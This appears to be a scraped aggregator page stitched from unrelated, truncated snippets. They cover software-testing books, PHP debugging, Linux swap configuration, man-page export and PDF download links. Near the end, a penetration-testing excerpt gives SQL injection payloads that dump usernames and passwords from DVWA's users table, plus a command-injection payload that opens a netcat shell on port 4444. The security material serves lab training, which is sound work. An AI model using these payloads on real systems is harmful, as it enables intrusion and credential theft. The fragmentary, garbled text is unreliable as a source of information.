back-end database, the database will return the requested data to the interface layer of the program to display to the user. the SQL Server-brought tool profiler can be said to be a precision instrument for checking SQL data transmission, documenting the interactions between the software client and the server database, allowing testers to gain insight into what the software is doing. In the test process, black-box testing and white-box
Software testing is generally divided into manual testing, automated testing and performance testing. As a software tester, the most basic should be manual testing, and with the develop
Absrtact: Manual testing and automated testing are important ways of software quality assurance, and are also two kinds of testing methods that many testers scramble to discuss. How to correctly look at these two test methods, better to make the combination of both is the topic we want to discuss now. This paper summar
Chapter II Manual Testing1. Root causes of software defectsThis book discusses two types of defects:
A. Programmer introduction
B. The operating environment causes
2. Defect prevention and detection(1) Defect preventiondefect prevention techniques are generally developed from a development perspective, including:
A. Better design specifications
B. Is the Time Code review System (code review)
c. Run the Code static ana
When performing manual tests, it is possible to make full use of the human ability to temporarily come up with new tests when executing a certain TCD (test case definition), which is a thought divergence for testers. Automated testing does not allow the computer to do everything that the tester does, because the test script is clearly described in terms of the TCD steps and cannot take advantage of the know
I spent two weeks investigating some of the current debugging methods of PHP. Many knowledge points may be relatively basic and the content is a bit lengthy. I 'd like to pick what I want to read. The things are relatively basic, please give your suggestions and I will continue to upgrade and improve. In the middle of the process, I would like to thank the snow migratory birds for their help.
《PHP debugging Technical ManualIt is an experiment and a summary of various popular PHP debugging techn
Elements 5th Chapter Image element 6th Chapter TABLE element 7th Chapter LINK element 8th Chapter form Element FRAME element 2nd CSS Reference manual 10th chapter CSS Concept 11th chapter CSS Syntax 12th CSS control text display 13th Chapter CSS Control List element display 14th Chapter CSS Control TABLE element display 15th Chapter CSS control element size 16th Positioning of CSS control elements Chapter 17th CSS Control element Layout Chapter 18th
Python reference Manual (fourth edition) "PDF" Download Link:https://u253469.pipipan.com/fs/253469-230382222Content IntroductionThis book is the authoritative Python Language Reference guide that covers the most important parts of the core Python language and the Python library. The book contains some high-level topics that are not included in official Python documents or other materials, and are concise an
1027
Or check the meminfo file.
Grep SwapTotal/proc/meminfo
5. Start the new 2G swap space
Swapon/opt/swap
6. Run the free command to verify that the new 2G swap space has taken effect.
Free-m
Total used free shared buffers cached
Mem: 1011 995 15 0 4 877
-/+ Buffers/cache: 113 897
Swap: 3027 0 3027
Or check the meminfo file.
Grep SwapTotal/proc/meminfo
7. Modify the/etc/fstab file so that the newly added 2G swap space will automatically take effect after the system restarts.
Vi/etc/fstab
Add a
Often man some shell commands, sometimes want to export to edit or comment, so to export. Methods have many kinds, according to their actual needs feel more useful records under the share. 1. Export to txt
man–t bash |col–b > Bash_man.txt This is commonly used by everyone, exported to TXT file, the format is basically correct
2. Export to PDF
man–t bash |PS2PD F–bash_man.pdf This is recently learned, can be exported to
analysis and other performance testing tools; The 5th introduces Web application performance test cases and Web performance optimization in the Big Data era.This book is suitable for both website testers and Web application performance testers, as well as other relevant testers and students of relevant majors in colleges and universities to study and reference.Tutorial Address:Web Development Archive: Web performance
After some hard work, the user manual v0.2 of the easy-to-write Library (exek) has been released.
Compared with the v0.1 version released two months ago, it mainly adjusts and confirms some interfaces and replaces some images.
Currently, the blank content related to "development window components" has not been fully developed, let alone documents.
Below, pdf format, may need csdn account to download: htt
I have been learning and researching amoeba for a long time. Although the source code only has a simple page view, I still get a lot of results. Here, we share a user manual that I have prepared and published it as a PDF document for your convenience. If the amoeba User Manual is updated, refer to the official website.
Although I am not a developer of amoeba,
"Microsoft's software Testing way" PDF download Link:https://u253469.pipipan.com/fs/253469-230382291
Content Introduction
The third part of the book explores some of the tools and systems used in our work. The final part of the book explores the future direction of testing and quality in Microsoft, and how we intend to create the future. "Microsoft's software
system, take Linux for example.Objective: To build common services and solve related failures.We recommend that you watch "Bird's private Cuisine", in addition to learning shell programming.5. Web TechnologyIf you're testing the Web, you need to know about the web. Mainly the html+css+javascript.sweep QR code to join QQ Group to get dry to reward us 1 yuan, casual650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/72/43/wKiom1XfqFXARrCSAADqcjp
KailLinux Penetration Testing Training Manual Chapter 3rd Information CollectionKail Linux Penetration Testing Training Manual Chapter 3rd Information Collection
Information collection is one of the most important stages of network attacks. To conduct penetration attacks, you need to collect various types of informatio
Why is manual testing confusing? Do not know whether automated testing, performance testing will be confused. I think the confusion of manual testing is based on two reasons: one is repeated t
library" ' Union select Table_name,table_schema from Information_schema.tables where table_schema= ' dvwa '--+ ' guessing account password location by table name ' 3. Query all the columns in the Users table (user_id, first_name, last_name, user, password, avatar) ' Union select Table_name,column_name from Information_schema.columns where table_schema= ' Dvwa ' and table_name= ' users '- -+ 4, query the contents of user, password column ' Union select User,password from dvwa.users--+ ' Unio
"Curl": Command line mode, custom URL, initiating HTTP request
#high级别
C. Exploit this vulnerability to allow operations such as open ports to be performed
such as:; Mkfifo/tmp/pipe;sh/tmp/pipe | NC-NLP 4444 >/tmp/pipe
D. Rebound Shell
The shell of the machine to which the shell s
scalability of their testing applications in all aspects of the application system. LoadRunner is an automatic load testing tool suitable for various architectures. It can predict system behavior and optimize system performance. LoadRunner's testing object is the entire enterprise system. It simulates the actual user's operation behavior and implements real-time
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